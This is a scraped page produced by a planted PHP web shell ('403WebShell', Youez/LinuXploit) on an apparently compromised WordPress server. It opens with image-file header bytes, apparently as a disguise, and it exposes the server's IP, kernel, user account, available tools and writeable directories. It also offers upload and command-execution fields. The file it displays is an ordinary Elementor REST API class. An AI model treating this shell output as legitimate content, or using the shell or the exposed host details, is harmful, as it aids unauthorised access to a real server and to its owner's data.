????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.112.1  /  Your IP : 216.73.216.127
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/./cwd/wp-content/plugins/elementor/modules/ai/site-planner-connect/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/./cwd/wp-content/plugins/elementor/modules/ai/site-planner-connect/wp-rest-api.php
<?php

namespace Elementor\Modules\Ai\SitePlannerConnect;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Just a simple rest api to validate new Site Planner Connect feature exists.
 */
class Wp_Rest_Api {

	public function register(): void {
		register_rest_route('elementor-ai/v1', 'permissions', [
			[
				'methods' => \WP_REST_Server::READABLE,
				'permission_callback' => function () {
					return current_user_can( 'manage_options' );
				},
				'callback' => function () {
					try {
						wp_send_json_success( [
							'site_planner_connect' => true,
						] );
					} catch ( \Exception $e ) {
						wp_send_json_error( [
							'message' => $e->getMessage(),
						] );
					}
				},
			],
		] );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit